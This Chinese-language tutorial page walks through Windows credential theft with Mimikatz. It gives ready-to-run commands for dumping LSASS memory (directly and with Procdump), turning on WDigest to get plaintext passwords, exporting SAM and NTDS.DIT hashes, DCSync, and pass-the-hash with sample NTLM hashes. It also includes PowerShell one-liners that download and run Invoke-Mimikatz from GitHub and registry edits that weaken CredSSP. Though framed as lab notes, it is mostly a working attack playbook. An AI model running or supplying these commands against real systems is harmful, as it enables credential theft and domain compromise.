Skip to content

mimikatz

一、介绍

​ Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码,lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对 lsass 逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了 KB2871997 补丁或者系统版本大于 windows server 2012 时,系统的内存中就不再保存明文的密码,这样利用 mimikatz 就不能从内存中读出明文密码了。mimikatz 的使用需要 administrator 用户执行,administrators 中的其他用户都不行

这里放几个神器的运行姿势:九种姿势运行:Mimikatz:https://www.freebuf.com/articles/web/176796.html

借用 PowerShell

读取密码明文(需要管理员权限)

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

读取密码hash值(需要管理员权限)

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

二、使用

2.1 获取本地账号密码

#提升权限

privilege::debug

#抓取密码

sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

当目标为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

2008server:可以看到明文密码

image-20230817153107872

12server:看不到明文密码

image-20230817153209536

cmd 修改注册表命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

重启或用户重新登录后可以成功抓取image-20230817153525655

SAM表获取hash

#导出SAM数据

reg save HKLM\SYSTEM SYSTEM

reg save HKLM\SAM SAM

#使用mimikatz提取hash

lsadump::sam /sam:SAM /system:SYSTEM

image-20230817154701718

2.2 Procdump+Mimikatz

下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

当 mimikatz 无法在主机上运行时,可以使用微软官方发布的工具 Procdump 导出 lsass.exe:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20230817160224701

将 lsass.dmp 下载到本地后,然后执行 mimikatz:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

为了方便复制与查看,可以输出到本地文件里面:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

image-202308171604463212.3读取域控中域成员hash

2.3.1域控本地读取

注:得在域控上以域管理员身份执行 mimikatz

方法一:直接执行

#提升权限

privilege::debug

#抓取密码

lsadump::lsa /patch

image-20230817161143127

方法二:通过 dcsync

利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码哈希值,可以在域管权限下执行获取:

获取所有域用户

指定获取某个用户的hash

lsadump::dcsync /domain:test.com /user:test

lsadump::dcsync /domain:test.com /all /csv

image-20230817161754485

指定获取某个用户的hash

lsadump::dcsync /domain:test.com /user:test

image-20230817161919687

2.3.2导出域成员hash

域账户的用户名和 hash 密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT文件中。

这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

ntdsutil域控自带:运行-ntdsutil,可使用ntdsutil ?查看帮助

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

image-20230817193551658

之后在C:\ntdsutil中将生成两个新文件夹:Active DirectoryRegistry

image-20230817193650023

NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中,利用 impacket 脚本 dump 出 Hash:

NTDSDumpEx.exe -d ntds.dit  -s SYSTEM -o domain.txt

image-20230817194240036

2.4哈希传递攻击PTH

2.4.1工作组环境

当我们获得了一台主机的 NTLM 哈希值,我们可以使用 mimikatz 对其进行哈希传递攻击。执行完命令后,会弹出 cmd 窗口。

使用administrator用户的NTLM哈希值进行攻击

sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf

在弹出的 cmd 窗口,我们直接可以连接该主机查看该主机下的文件夹。

image-20230817201221782

2.4.2域环境

在域环境中,当我们获得了域内用户的 NTLM 哈希值,我们可以使用域内的一台主机用mimikatz 对域控进行哈希传递攻击。执行完命令后,会弹出 cmd 窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限获得了域用户的 NTLM 哈希值

#使用域管理员administratorNTLM哈希值对域控进行哈希传递攻击

sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf

image-20230817201221782

在本地计算机12server使用mimikatz登陆远程主机

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.1.12 /ntlm:cac8f236f7a5ebbd80db7df164231ec8 "/run:mstsc.exe /restrictedadmin"

发现登录不了,因为正常win-2008-R2是没有受限管理员模式的

使用08server登录12server,也无法成功

sekurlsa::pth /user:administrator /domain:192.168.1.16 /ntlm:4e7668311ae879ec1946bd88d179fbaf "/run:mstsc.exe /restrictedadmin"

08server-dc下载补丁KB2984972

12server登录08server-dc直接成功

image-20230817210255858

08server-dc登录12server继续失败

image-20230817211223094

这是因为微软系统补丁的更新将 CredSSP 身份验证协议的默认设置进行了调整,由“易受攻击”,修改为“已缓解”,从而导致远程桌面连接失败。

很多文章是这样解决的,打开组策略编辑-计算机配置----管理模板-----系统---凭据分配---加密数据库修正--改为以启用---易受攻击,但实际发现根本找不到"加密数据库修正"这一项,这时候需要新增注册表文件夹路径:  

[HKEY_LOCAL_MACHINE]\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters

一般打开到System目录就没有文件了,右击System,新建项并命名为CredSSP,然后右击CredSSP,新建项并命名为Parameters。然后右击Parameters,新建“DWORD(32)位”,命名为 AllowEncryptionOracle ,并将其数值数据修改为2,无需重启,然后就可以成功登录了,实测链接成功

image-20230817211949632

2.5 导出chrome中的密码

参考链接